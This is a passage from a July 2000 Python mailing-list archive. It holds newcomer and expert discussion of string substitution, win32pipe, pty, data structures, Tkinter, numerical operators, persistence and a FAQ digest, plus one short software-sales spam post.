PartialStringSubstitution that leaves alone any extra %(variable)s tags 
rather than raising a KeyError and another, NoKeyErrors, that replaces 
them with empty strings rather than raising a KeyError. I can post these 
if anyone wants to see them.

4) Core control flow in my current project, a self-assembling Intranet 
which bears a family relationship to Aquarium, centers around a series 
of dictionaries:
   i. Validate user identity, determine user action, instantiate 
appropriate page object. Rest happens within object.
   ii. Parse the cgi.FieldValues(), which I instantiate with 
keep_blank_values=1, so as to cut through the irritating
if form.has_key('foo'):
   if form['foo'].value == bar:
   else:
else:
syntax. Besides checking to see if their action failed (pages with 
children can't be deleted; new pages must be given names, etc.), I 
convert the FieldValues to a regular dictionary, with image and data 
files passed off to dedicated dictionaries and methods.
   iii. If we are saving to database, assemble that dictionary now and 
save, using a utility that converts dictionaries to MySQLdb.py calls.
   iv. Define the template according to the action and start assembling 
the main dictionary, which is a PartialStringSubstitution. Many of the 
values in mainDict will themselves contain string substitution keys.
   v. After creating mainDict entries for elements common to every page,
call the heart of the heart of the system, which assembles the 
particular data that needs writing to HTML. There's a lot that needs to 
happen here (the combination of cancellable previews and uploadable 
images makes the code about three times as complicated as it would be 
without them), but basically I atomize the possibilities into a series 
of short methods that define dictionaries and update mainDict 
appropriately. Along the way I've been building yet another dictionary 
with key:value pairs that need to be inserted as hidden fields; at this 
time I assemble that into an HTML string and assign the string to 
mainDict['hiddenFields'].
   vi. Marry the template to mainDict, then marry that to the final 
NoKeyErrors dictionary, which wipes out any extra string substitution 
keys and also drops their session key (no pun intended) into all of the 
links on the page. Permissions are managed up in i.: when a user 
requests a page, the page is drawn with the information they are 
supposed to see ("You are not in this department so you can't see the 
department-only calendar; you are the owner of this page so we'll 
provide editing controls."); that way the user never sees a locked door.

5) The more I think about this, the more arbitrary it seems to have a 
medium sized (1,200 lines now; maybe twice that on ship) system so 
dominated by the need to manage string substitution syntax. OTOH, 
Python's lovely object handling makes adding things like calendars 
really easy. When I read Perl or Java I don't wish I was using them, but 
my total coding experience consists of a year of Python, so maybe I just 
don't know what I'm missing.

-- 
spenrose at well dot com


From gjohnson at gs.verio.net  Tue Jul 18 22:28:06 2000
From: gjohnson at gs.verio.net (Tony Johnson)
Date: Tue, 18 Jul 2000 21:28:06 -0500
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <8l32vu$l7$1@news.jump.net>
Message-ID: <39751236.240D6EAF@gs.verio.net>

I've been playing UO for years and it is good to hear that they are
going to a stable enviornment to run thier servers...

Jason Ely wrote:
> 
> Origin is currently using Python as the scripting language of choice for
> Ultima Online II
> 
> They love it from what I understand. What drove them to it?
> 
>     -Jason
> 
> "Mallor" <mallor at 3DProgrammer.com> wrote in message
> news:v62d5.580$GQ1.26151 at newsread2.prod.itd.earthlink.net...
> > Are any of you game developers out there using Python as your game
> engine's
> > embedded scripting language?  I am wondering what drove your decision to
> use
> > Python instead of other embeddable scripting languages?  I'd like to hear
> what
> > your overriding concerns were, and also what they are now, having put
> Python to
> > the test.
> >
> > --
> > Cheers,             Infernal Troublemaker                    Troll
> > Mallor              "By simple mistake, mortals themselves amuse."
> >
> >
> >
> 
> --
> http://www.python.org/mailman/listinfo/python-list



From eq3pvl at eq.uc.pt  Mon Jul 17 07:05:20 2000
From: eq3pvl at eq.uc.pt (Pedro Vale Lima)
Date: Mon, 17 Jul 2000 12:05:20 +0100
Subject: I'm confused with win32pipe
Message-ID: <3972E870.C0A75F4B@eq.uc.pt>

I need to run some commands on a win98 computer and I'm
having some problems to understand win32pipe behavior

If I write

     (pin, pout) = win32pipe.popen4(r'copy c:\tmp\*.* c:\tmp2\','t')

the script copies some of the files (not all!).

I have some questions. The first is where can I find more documentation
for win32pipe (the pythonwin reference is very short) ?.
Is the process run in a subprocess? What's the meaning of the 't' and
'b' flags?

Thanks for the attention,

pedro lima



From jim at interet.com  Mon Jul 10 13:24:06 2000
From: jim at interet.com (James C. Ahlstrom)
Date: Mon, 10 Jul 2000 13:24:06 -0400
Subject: Embeded in GUI,Python output ?
References: <8jihfg$et5$1@nnrp1.deja.com>
Message-ID: <396A06B6.9A56CB0B@interet.com>

heath7952 at my-deja.com wrote:
> 
> I'm attempting to embed Python inside a GUI. Python will serve as a
> command interpreter. I can type commands in the GUI command window and
> they are being executed correctly, I'm using PyRun_String. The only
> thing I need now is the output from the commands , so I can post them in
> the GUI command window.
> 
> i.e. a = 10
>      print a
> 
> I'd like to be able to get at the output string "10" which should be
> returned, and display it.

This is printed to the "write" method of sys.stdout, so you need to
replace sys.stdout with your own method.

Jim Ahlstrom


From dgoodger at bigfoot.com.bbs  Tue Jul 18 00:10:02 2000
From: dgoodger at bigfoot.com.bbs (dgoodger at bigfoot.com.bbs)
Date: 18 Jul 2000 04:10:02 GMT
Subject: pty.py: any example code out there?
Message-ID: <3bRaOQ$kmI@openbazaar.net>

I'm looking for some concrete examples of the use of pty.py or any
equivalent. I've written a wrapper for the passwd program on QNX (a
POSIX-compliant realtime OS), and passwd is reluctant to be wrapped, writing
directly to the console/tty/pty, bypassing stdin/out. My wrapper currently
uses telnetlib.py to do its dirty work, but it's a kludgey solution. Any
samples, examples, pointers, hints or tips out there? Thanks in advance!

--
David Goodger    dgoodger at bigfoot.com    Open-source projects:
 - The Go Tools Project: http://gotools.sourceforge.net
 (more to come!)


From alex at magenta.com  Sat Jul 29 06:06:08 2000
From: alex at magenta.com (Alex Martelli)
Date: Sat, 29 Jul 2000 12:06:08 +0200
Subject: Newbie DATA STRUCTURES Question.
References: <398248BC.32DE3CC@nycap.rr.com>
Message-ID: <8luhsk11ce8@news2.newsguy.com>

"gbp" <gpepice1 at nycap.rr.com> wrote in message
news:398248BC.32DE3CC at nycap.rr.com...
>
> Hi all,
>
> I have experience with Perl but non with Python.
>
> I need to write a script to read a large text file into a structured
> format.

Which is a list of 'records', one per line?

You can get the list of the lines by calling the readlines() method
on the file object.  (If your file is too large to fit in memory at
once, you will have to loop line by line, but that's another issue).

If you have a lineToRecord function that takes a line and outputs
the record you desire for it, you can build your list of records
very easily (if it can all fit in memory at once, transiently):

    theresult = map(lineToRecord, thefile.readlines())

while if you have to loop because it can't all fit in memory it
becomes something like:

    theresult = []
    while 1:
        line = thefile.readline()
        if !line: break
        theresult.append(lineToRecord(line))

or equivalent forms (often discussed because many don't like the
while 1: ... break idiom, but that's quite another issue).


> In Perl one can create a list of records using something like pointers.
> So really you have a list of pointers-- each one pointing to an
> anonymous record.  Each record is some data from a line in the file.

The pointers are, if you will, totally implicit in Python.  Just
think of the list-of-records.  So, the lineToRecord function is
really all you truly care about.


> Since I learned data structures in languages with pointers (C, pascal)
> I'm stuck.  How does one go about constructing a list of records in
> python?  My python is still pretty weak.  I understand how the lists
> work (a lot like Perl).  I understand that you can use objects as
> records.  I don't really get the full OOP though.  I guess that you
> can't make record anonymous in python?  Is that right?  Can you have
> pointers?

You cannot FAIL to have pointers, but the language handles them
for you, so you never really have to think about them.

If your records are just a collection of fields, and it's OK for
the fields to be identified by sequence, you will probably want
to use a tuple for each record (a list would also do, but a tuple
is clearer and more efficient if you don't need it to be
mutable).  E.g., say that for each line you need to extract
its length, the 1st character, and the 4th character (and you
know all lines are at least 4 characters long).  Then:

def lineToRecord(line):
    return len(line), line[0], line[3]

If some lines are shorter you may want more discrimination:

def lineToRecord(line):
    l = len(line)
    if l>3:
        return l, line[0], line[3]
    else:
        return l, line[0]

or if you prefer (a matter of style):

def lineToRecord(line):
    try:
        return len(line), line[0], line[3]
    except IndexError:
        return len(line), line[0]

and that is also OK -- there is no need for all entries in the
list to have the same length (not even for them to be in any
way homogeneous, e.g. all tuples -- it only depends on what
proves most convenient to YOU, in terms of first preparing
the list, and later using it in some ways).


If you need more structure to your record, than just a sequence
of fields (where each field can be a scalar, None, another
nested sequence, ...), you will often choose to return a dictionary
from your lineToRecord function.

Tuples and dictionaries are anonymous.

Rarely, and only if your structuring needs are heavy, will you
NEED to return 'full-blown objects', i.e. instances of some
class of yours (which cannot be anonymous), although you may
_choose_ to do it for convenience even when a tuple or dict
would suffice (a class-instance might just be a handier way
to pack and access a dictionary, in some cases).


> When I was learning Perl I found a manual page on this.  Couldn't find a
> example for Python.  Hope that doesn't mean it can't be done.

I haven't yet found a task that can't be done in Python -- and
what's more, most can be done very elegantly & conveniently.


Alex





From amused at webamused.com  Sat Jul 29 18:18:31 2000
From: amused at webamused.com (Joshua Macy)
Date: Sat, 29 Jul 2000 22:18:31 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <slrn8o42r6.dti.wtanksle@dolphin.openprojects.net> <slrn8o449h.49c.grey@teleute.rpglink.com> <slrn8o4l9e.md1.wtanksle@dolphin.openprojects.net> <3982F04D.74FCF41C@webamused.com> <slrn8o6kna.f91.grey@teleute.rpglink.com>
Message-ID: <39834B9F.C6877761@webamused.com>

Steve Lamb wrote:
> 
> On Sat, 29 Jul 2000 15:49:00 GMT, Joshua Macy <amused at webamused.com> wrote:
> >  I could be wrong, but I'm under the strong impression that the term
> >"automagic" is thrown around repeatedly as a description of Perl's
> >behavior in Programming Perl.  Does that make Larry Wall a disgrace to
> >the language he invented?
> 
>     No because he doesn't throw it around as a negative of the language like
> some people here did.
> 

  So it's not the term itself you find offensive, but the way it's
used?  It sounds to me like what you're objecting to is the mere fact
that some people dislike the behavior that Larry Wall calls "automagic",
not that they use the same term that he does to describe that behavior.

  Joshua


From mallor at 3DProgrammer.com  Wed Jul 19 04:59:08 2000
From: mallor at 3DProgrammer.com (Mallor)
Date: Wed, 19 Jul 2000 08:59:08 GMT
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin>
Message-ID: <w5ed5.987$Yy3.47264@newsread2.prod.itd.earthlink.net>

"Jorrit Tyberghein" <Jorrit.Tyberghein at uz.kuleuven.ac.be> wrote in message
>
> In the Open Source Crystal Space 3D engine we are working on a framework for
python
> scripting. It is already working reasonably well but you cannot yet do
everything
> that you'd want to do from a python script.

Why did you choose Python as opposed to any other scripting language?  In
particular, what are your experiences so far with efficiency issues?  This seems
to be a knock against Python from the articles that I read, but of course the
efficiency of a language implementation can be a moving target, if the
developers have their priorities set in that direction.


--
Cheers,             Infernal Troublemaker                    Troll
Mallor              "By simple mistake, mortals themselves amuse."





From fiona at sitegnome.com  Sun Jul 16 21:24:38 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: Mon, 17 Jul 2000 11:24:38 +1000
Subject: Importing modules...
References: <snhf9sfpq3.fsf@motorola.com>
Message-ID: <39726056.871BEB5@sitegnome.com>

Hi Aaron,

Perhaps this will help ->

How do I import a file that isn't in the pythonpath?
http://www.faqts.com/knowledge-base/view.phtml/aid/4719/fid/245/lang/

regards,

Fiona Czuczman


From mkrisch at netscape.net  Mon Jul 17 23:11:08 2000
From: mkrisch at netscape.net (mkrisch at netscape.net)
Date: Tue, 18 Jul 2000 03:11:08 GMT
Subject: hexidecimal output as default?
Message-ID: <8l0hs1$s3q$1@nnrp1.deja.com>

how can i make it so the interpreter defaults to hexidecimal output?

what i mean is the following:

>>> i = 0xa
>>> print i
10
>>> i
10

what i really want is to get the following:

>>> i = 0xa
>>> i
0xa

--mk


Sent via Deja.com http://www.deja.com/
Before you buy.


From jacobs at darwin.epbi.cwru.edu.bbs  Mon Jul 17 22:00:02 2000
From: jacobs at darwin.epbi.cwru.edu.bbs (jacobs at darwin.epbi.cwru.edu.bbs)
Date: 18 Jul 2000 02:00:02 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRX63$je4@openbazaar.net>

> In a program where there are a lot of computations, you'll get either
> something like a ritual on every line,

> PyAlgebra.evaluate(r'(A .* B)\C', A=A, B=B, C=C)
> PyAlgebra.evaluate(r'(A .* B)\C', A=A, B=B, C=C)
> PyAlgebra.evaluate(r'(A .* B)\C', A=A, B=B, C=C)

What if it could be as simple as:

e(r'(A .* B)\C') # --> PyAlgebra.evaluate(r'(A .* B)\C', globals(), locals())
e(r'(A .* B)\C')
e(r'(A .* B)\C')

where A, B and C are bound to variables in the current namespace
automatically?  Does this not go 95% of the way toward the ideal solution?

> Everybody would rush for the latter.  In the end what's inside the quote
> would be a minilanguage with all the bells and wistles of python.  This
> would be just similar to patching the parser, with lesser results.

I disagree with your conclusion.  Having worked with many algebra and
statistical languages, I know the road you are undertaking.  It doesn't and
can't stop with one extra dot in the grammar.  To do it right, you need the
ability to break more rules that are intrinsic to Python's core.  e.g.,
consider changing the rules for '\' as above.

Another advantage to compromising and implementing a domain specific
mini-language is that it simplifies some very tough design issues that only
come up when working with the full Python grammar.  Some of these syntactic
and semantic issues are very likely irreconcilable.  In the end we could end
up with a any number of splinter languages with inferior support and narrow
audiences.  Lets not forget we are a community of users with very diverse
goals, all trying make our lives easier by building better tools.

-Kevin

--
----------->  Kevin Jacobs  <-----------|------->  (216) 778-8211  <--------
S.A.G.E. Project Technical Coordinator  | Department of Epidemiology
  & System Administrator                |   & Biostatistics
Internet E-mail: jacobs at darwin.cwru.edu | Case Western Reserve University
----------------------------------------------------------------------------


From mlp at amrose.dk  Wed Jul 12 08:36:37 2000
From: mlp at amrose.dk (mlp at amrose.dk)
Date: Wed, 12 Jul 2000 12:36:37 GMT
Subject: TypeLib for Python COM Server?
Message-ID: <8khooj$dus$1@nnrp1.deja.com>

hi all.

i'm in a situation where i'd like to have a typelib for a python com
server, for use in a c++ client.

i tried to just use midl on an idl i made to reflect the interface of
the python server.  this didn't work out, since when compiling the
client code the tlb file is not recognized.

my question: is there an automatic, easy, or standard, way to produce a
typelibrary for a com server implemented in python?  if not, is it
possible at all?  if so, could anybody help me with the details?  a
complete example would be splendid!

python rules!
'gards,
morten lind petersen, denmark


Sent via Deja.com http://www.deja.com/
Before you buy.


From dpetrov at www.yu  Mon Jul  3 12:50:49 2000
From: dpetrov at www.yu (Dean Petrov)
Date: Mon, 3 Jul 2000 18:50:49 +0200
Subject: Selling software
Message-ID: <8jqge7$irv$1@cer.yubc.net>

!!! Software WareHouse !!!


We're selling software!
Best prices!

Under $ 100 free shipping!!!


Order today: dpetrov at www.yu





From dworkin at ccs.neu.edu  Mon Jul 17 20:10:15 2000
From: dworkin at ccs.neu.edu (Justin Sheehy)
Date: 17 Jul 2000 20:10:15 -0400
Subject: Routing sys.stdout.write (print)
In-Reply-To: Joseph Betz's message of "Mon, 17 Jul 2000 16:06:15 -0700"
References: <39739167.39ED5F38@bmi.net>
Message-ID: <vnd8zv0cn88.fsf@camelot-new.ccs.neu.edu>

Joseph Betz <betz at bmi.net> writes:

> I'm getting unexpected results from the following code:
> 
> import sys
> from sys import stdout
> x = stdout
> 
> class Writer
>   def write(self, string):
>     x.write(': ' + string)
> sys.stdout = Writer()
> print "Ni!"
> x.write('Ni!\n')
> 
> The output I'm getting is:
> 
> : Ni!:
> Ni!
> 
> I am looking for a solution so that the second colon isn't in the
> output.  A good solution
> may be very different then the code I have here.

This is due to the implementation of the print statement, which
effectively calls sys.stdout.write a separate time for the trailing
newline.

If you use sys.stdout.write() directly instead of the print statement, 
you won't have this problem.

-Justin

 



From hzhu at localhost.localdomain  Thu Jul 20 21:10:54 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Fri, 21 Jul 2000 01:10:54 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <m2u2dl1xf4.fsf@spiff.home.com> <slrn8netkd.rb.hzhu@localhost.localdomain> <8l85ae$487@stochastic.eng.umd.edu>
Message-ID: <slrn8nf8vv.rb.hzhu@localhost.localdomain>

On 20 Jul 2000 20:25:50 -0400, Warren B. Focke <moron at Glue.umd.edu> wrote:
>
>But I think also that we should consider not just user base, but code
>base - how much code is already out there that will break under the
>various suggestions.

Ah, I see where the problem is!  No.  Not a single line of code. (well, see
below.) 

For ordinary numbers, all the operators are exactly the same.

For classes, they define their own __mul__ that is hooked to *.  This will
not change, unless you choose to redefine __mul__.

For the new operators, be it .* or @  or @*, they are not defined for
anything other than numbers.  Each class is free to define them in any
fashion.  

If your module uses, either

from Numeric import array
a, b, c = array ...
matrixmultiply(a,b)*c

or 

from MatPy import Matrix
a, b, c = Matrix ...
a*b.e_mul(c)

nothing would cease to work, whatever the meaning of the new operators.
(This is not strictly true, because MatPy actually uses __dotmul__ but
s/__dotmul__/e_mul/ would do the trick.)

Only when you decide to actually use the new operators which were not
available today, then you need consider their meaning.  In fact, even if
NumPy and MatPy uses opposite meaning for * and @*, not a single line of
existing code would break.  These two packages already work perfectly with
each other, and I do use both in production code.

I see the eventual unification of MatPy and NumPy somewhat along the line of
migration from the regex to re module.  That is, it would be possible in the
future to define a new package with a different name, with an interface that
has advantage of both, or better than both.  People could just use the new
package for new code, which could coexist with old modules as well.  They
can migrate their code at leisure time.

After writing this, I have the feeling that maybe after all it is not so
important to consider what's the semantics of these operators.  We do agree
on the syntax of these operators.  Is this enough for the PEP?  I don't
know. If it is called __dotmul__ this might already be enough?  

We are already allowed to define two interfaces.  I don't see why
introducing new operators would make one of them disallowed (break).  That's
why I'd be more interested in new code than existing code, as the purpose of
these operators is to make writing future codes easier.

Just my 2c.

Huaiyu


From mfletch at tpresence.com  Sun Jul 23 01:20:14 2000
From: mfletch at tpresence.com (Mike Fletcher)
Date: Sun, 23 Jul 2000 01:20:14 -0400
Subject: bit manipulation frustration
Message-ID: <CC59868A0A76D311B1F50090277B321C1F3457@VRTMAIL>

Convoluted, yes, but this might give you some ideas for manipulations (or it
might give you convulsions ;0) )...

import struct
def toRGB( line ):
	line = struct.unpack( 'H'*len(line), line)
	result = []
	R = 64512
	G = 2016
	B = 63
	for integer in line:
		result.append( (
			R&integer >> 10,
			G&integer >> 5,
			B&integer,
		) )
	return result

def toString( line ):
	result = []
	for r,g,b in line:
		result.append( 
			r << 10 + g << 5 + b
		)
	return apply( struct.pack, ( 'H'*len(result),)+tuple(result) )

Oh, in case you're wondering, this will be _ridiculously_ slow, Python's not
good at bit-fiddling :) .  That's one reason PIL's C extensions exist :) .
You'll probably find something that can read 16-bit integers into RGB values
somewhere in the codebase.

HTH,
Mike

-----Original Message-----
From: Courageous [mailto:jkraska1 at san.rr.com]
Sent: Sunday, July 23, 2000 12:56 AM
To: python-list at python.org
Subject: Re: bit manipulation frustration



> > vice versa. Eeek. Help? Will someone please remind me and
> > hit me with a rubber mallet??? :)

> ... is one way. There are probably others. Consider youself whalloped.

Yeah, amongst all the various documentation, I finally found my
way to FAQTS. It was:

>>> l=list("fred")
>>> l
['f', 'r', 'e', 'd']
>>> string.join(l,"")
'fred'
>>> 

> > Second, this whole paradigm seems so skrewball.
> ...
> > get it?)

Um, well suppose I do something like...

            myfile.seek ( 2000, 0 )
            str = myfile.read (20)

This will result in a sequence of 20 bytes ('char'),
But these are 16 bit RGB values (1 pad, 5/5/5 R/G/B).
In C, I would quite possibly load these into ints,
as 16 bit values straight up, and manipulate them that
way. Now while I understand that I can unpack into
16 bit integers, manipulate, and then pack back to
char all via the struct module, this is seeming like
a great deal of transmogrification.

Say for example I want to increase or decrease R,
G, or B values. Or, say, I want to convert to 32
bit color bitmaps?



C/
-- 
http://www.python.org/mailman/listinfo/python-list



From jvickroy at sec.noaa.gov  Mon Jul 17 16:37:06 2000
From: jvickroy at sec.noaa.gov (j vickroy)
Date: Mon, 17 Jul 2000 14:37:06 -0600
Subject: Multiline strings and indentation
References: <39736250$0$14722@wodc7nh6.news.uu.net>
Message-ID: <39736E71.AE8B128B@sec.noaa.gov>

How about:

>>> print "this" + \
                " is" + \
                " a" + \
                " long" + \
                " string"

this is a long string
>>>

"donotspam-jen at personic.com" wrote:

> I'm just getting started with Python. The indentation feature really does
> make things readable ... except when using multi-line strings.  This just
> doesn't look right:
>
> def multiline(x):
>   if x:
>     print """this is a
> multi-line string that spans
> three lines"""
>  print "another string"
>
> Is there a way to make the above more readable? It would be nice if it could
> be written this way and have Python just figure out what whitespace to
> ignore:
>
> def multiline(x):
>   if x:
>     print """this is a
>              multi-line string that spans
>              three lines"""
>  print "another string"
>
> Thanks for any suggestions!
>
> Jen



From rgparker at west.net  Mon Jul 17 21:15:17 2000
From: rgparker at west.net (Randall Parker)
Date: Tue, 18 Jul 2000 01:15:17 GMT
Subject: Could someone clone MS's IL for another OS?
Message-ID: <MPG.13dd506ff77f90b298982b@news.onlynews.com>

Could someone write a clone of MS's new intermediate compiler language to 
native code compiler in order to write Perl, Python, or Eiffel on 
Windows, compile it to IL, and then eventually native code compile it on 
some other OS platform?

Does anyone think such a capability is a good idea?

Does anyone think that someone will do this?



From gpepice1 at nycap.rr.com  Fri Jul 28 22:33:10 2000
From: gpepice1 at nycap.rr.com (gbp)
Date: Sat, 29 Jul 2000 02:33:10 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl>
Message-ID: <39824324.480835B6@nycap.rr.com>

>
> Hmm. You seem to expect that strings and other
> things will be automatically coerced to integers whenever a function
> expects an integer. I think that's pretty scary; when I pass in the wrong
> thing to a function I *want* it to complain, as it's very likely I did it
> by accident. I don't want things to work by accident. Perhaps you're
> missing that this 'problem' is also a 'feature'; you get less 'weird'
> bugs due to the fact that your program keeps running long after your
> data got coerce-mangled to death. Python would tend to throw exceptions
> as soon as it went wrong.

I think it depends what you are doing with your program.  I use Perl (and now
Python) to parse text files before putting the info in or sending it out of a
databse.  This is by no means bug free software (deadlines just don't permit enough
testing).  If someone sticks a letter in my input file where a number should go I
would rather my script deal with it than crash.  After all its not _my_ fault theres
a letter there.  However, managment will blame me for a 'bug' if the program throws
an exception when someone else runs it.



From olivierS.dagenaisP at canadaA.comM  Tue Jul 11 23:03:43 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Wed, 12 Jul 2000 03:03:43 GMT
Subject: Why does tkinter app crash on quit?
References: <3969EF5C.EB7B14A4@acm.org>
Message-ID: <jeRa5.87990$HK2.1577360@news20.bellglobal.com>

I think the PythonWin documentation claims there's a crash on Win95 when it
is exit, but it is usually in an obscure 16-bit (user) module.  This doesn't
sound like it.  Could you find out what SYNTPFCS.DLL is?  (ie:  hunt it
down, then check out its properties)

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"John Powers" <jpowers at acm.org> wrote in message
news:3969EF5C.EB7B14A4 at acm.org...
> I have a python program which crashes every once in a while when I press
> the "Quit" button. I'm running tkinter 1.127 and tcl/tk 8.0.5 under
> Windows 95 and Python 1.5.2. Most of the time, it quits just fine.
>
> But sometimes, it crashes: "Python - This program has performed an
> illegal operation and will be shut down. PYTHON caused an invalid page
> fault in module SYNTPFCS.DLL at 0157:630067db.
>
> from Tkinter import *
>
> class App(Tk):
>
>   def __init__(self):
>     Tk.__init__(self)
>     filename = "filename"
>     Label(self, text=filename).pack()
>     Button(self, text="Quit", command=self.quit).pack()
>
> App().mainloop()
>
> Anybody had experience with this?
>
> Thanks, jpp
>




From hei at adtranzsig.de  Tue Jul 11 11:08:47 2000
From: hei at adtranzsig.de (Dirk-Ulrich Heise)
Date: Tue, 11 Jul 2000 17:08:47 +0200
Subject: POOP / Python (Object Oriented Persistence) ?
References: <002e01bfeb19$619a11a0$f0c809c0@lslp7o.lsl.co.uk>
Message-ID: <8kfd7o$2tf$1@desig-bs01-s04.adtranzsig.de>

Sounds nice. But imagine this problem:
You write an app for a customer, say, a
paint program that lets the user compose
a picture of elements like boxes, circles etc.
Saving is done by storing the state of the
objects using ZODB.

Later, you want to give the customer a new
version of the program. The object structure
will have changed. Especially, some already
existing classes might have more attributes
now.

Isn't this a very real problem? I mean, i could
get around it using some export/import feature
that saves to a certain file format i define.
So i'd be writing save/load stuff myself again.
So what do i gain using ZODB or pickle or whatever?

That's my principal problem with all this
persistency stuff - interoperability between
versions of a program. Or is ZODB the first
thing to overcome this, and i missed
something?

--
Dipl.Inform. Dirk-Ulrich Heise
hei at adtranzsig.de
dheise at debitel.net


"Tony J Ibbs (Tibs)" <tony at lsl.co.uk> schrieb im Newsbeitrag
news:002e01bfeb19$619a11a0$f0c809c0 at lslp7o.lsl.co.uk...
> OK - I spent some of my "spare" time last night reading
>
> http://starship.python.net/crew/amk/python/writing/zodb-zeo.html
>
...




From fiona at sitegnome.com  Mon Jul 10 02:45:58 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: 10 Jul 2000 06:45:58 -0000
Subject: [FAQTS] Python Knowledge Base Update -- July 10th, 2000
Message-ID: <20000710064558.28914.qmail@synop.com>

Hi Guys,

Below are the latest entries to be entered into http://python.faqts.com

cheers,

Fiona Czuczman


## New Entries #################################################


-------------------------------------------------------------
How can I do this Perl paragraph mode in Python? $/ = '';  # paragraph mode
http://www.faqts.com/knowledge-base/view.phtml/aid/4629
-------------------------------------------------------------
Fiona Czuczman
Harry George

If you use pyperl:
p=pyperl.Pyperl()
p.INPUT_RECORD_SEPARATOR=''
myfile=p.open("< $filename")
lines=myfile.readlines()


-------------------------------------------------------------
Is there anywhere I can get a list of the commands for python?
http://www.faqts.com/knowledge-base/view.phtml/aid/4630
-------------------------------------------------------------
Fiona Czuczman
Peter Schneider-Kamp

Try the library and the language reference at http://www.python.org/doc


-------------------------------------------------------------
How can I ring the PC's bell (ie internal speaker) to alert the operator that an operation has finished running?
http://www.faqts.com/knowledge-base/view.phtml/aid/4632
-------------------------------------------------------------
Fiona Czuczman
David Porter

print "\a"


## Edited Entries ##############################################


-------------------------------------------------------------
Is there a command/function in python to put a delay or wait step into a program?
Does python have a sleep function? e.g. sleep(60) to wait 60 seconds?
http://www.faqts.com/knowledge-base/view.phtml/aid/2609
-------------------------------------------------------------
Nathan Wallace, Fiona Czuczman
Andreas Jung,Greg Fortune, pehr anderson

Try the sleep function in the time module.

  import time
  time.sleep(60)

And put this in a while loop and a statement will only execute on the
minute...  That allows you to run a statement at predefined intervals
regardless of how long the command takes (as long as it takes less than 
a minute or 5 or 60 or whatever you set it to)  For example, I wanted to 
run a ping once a minute.  If I just time.sleep(60) or time.sleep(45) 
even, the ping will not always take the same amount of time.  Here's the 
code :)

time.sleep(time.localtime(time.time())[5])
The [5] just pulls the seconds out of the time.localtime()'s return 
value.

The great thing about time.sleep is that it supports floating point 
numbers!

import time
time.sleep(0.1) 

http://python.org/doc/current/lib/module-time.html


-------------------------------------------------------------
Why are there no operators equivalent to C's   , --,  =, etc.?
http://www.faqts.com/knowledge-base/view.phtml/aid/3378
-------------------------------------------------------------
Fiona Czuczman
Fredrik Lundh, Peter Schneider-Kamp, Michael Hudson

if you write things like "var = var + 1" a lot, you might be missing 
some important python idioms...

here are a few, in no specific order:

    for item in sequence:
        ...

    sequence = map(operation, sequence)

    sequence.append(item)

    for index in range(size):
        ...

    for item1, item2 in map(None, sequence1, sequence):
        ...

    for index in range(start, stop, step):
        ...

    n = sequence.count(item)

    for index in range(len(sequence)):
        ...

    sequence.remove(item)

    for index in range(len(sequence)-1, -1, -1):
        ...

(also note that most basic types are *immutable*, so it's not entirely 
clear how things like ++ and += should work.

Michael Hudson wrote a patch for the +=, -=, *=, /= and some other
of these operators.

A patch can be found at:

http://starship.python.net/crew/mwh/aug-patch.html
http://www-jcsu.jesus.cam.ac.uk/~mwh21/aug-patch.html


-------------------------------------------------------------
What is the best way of setting default options of widgets?
http://www.faqts.com/knowledge-base/view.phtml/aid/4151
-------------------------------------------------------------
Fiona Czuczman
richard_chamberlain,Cameron Laird

You can use an option database. If you create a file called optionDB 
with for example the following kind of entries:

*font:                   Times New Roman
*Button*foreground       blue
*foreground              black

You can then apply these via

root.option_readfile('optionDB')

For more on this, see

http://www.regularexpressions.com/#options


-------------------------------------------------------------
Is there a utility to convert module docstrings to HTML for nice documentation?
http://www.faqts.com/knowledge-base/view.phtml/aid/4610
-------------------------------------------------------------
Stu D, Fiona Czuczman
Richard Jones

>From http://starship.python.net/crew/danilo/download.html:

Gendoc generates documentation from Python source code in different 
formats. Currently it can generate HTML, MIF, MML and plain old ascii 
(MIF and MML are FrameMaker formats). If you want to generate HTML 
files, I strongly suggest you grab a copy of Robin Friedrich's HTMLgen 
package, with which gendoc generates quite nice pages, optionally with 
frames.






From richard_chamberlain at ntlworld.com  Fri Jul 21 02:38:28 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Fri, 21 Jul 2000 07:38:28 +0100
Subject: example Tkinter code?
References: <8l7cvb$c61$1@mcnet.marietta.edu>
Message-ID: <MaSd5.1355$yE4.25940@news2-win.server.ntlworld.com>

Hi,

Have a look at John Grayson's manning site (www.manning.com/grayson) you can
download the source from his book including code that demonstrates each
widget.

I really would recommend a copy as it's an excellent book.

from Tkinter import *
root=Tk()
myString=StringVar()
Label(root,textvariable=myString).pack()
myString.set("Well, eh, how about a little red Leicester.")
def changeLabel():
    myString.set("I'm, a-fraid we're fresh out of red Leicester, sir. ")
Button(root,text='Click Me',command=changeLabel).pack()
root.mainloop()

I presume where you're going wrong is you are not creating an instance of
StringVar and setting (or getting) the variable through that.

Richard
Locke <brown.2053 at osu.NOSPAM.edu> wrote in message
news:8l7cvb$c61$1 at mcnet.marietta.edu...
> does anyone know where i can find some example python/tkinter code? i am
> trying to learn, but i think some examples of how to use all those widgets
> would be useful.
>
> also, how can i change the text on a label? when i use the
> variabletext=whatever thing, the label wont show up.
>
> Thanks!
>
>




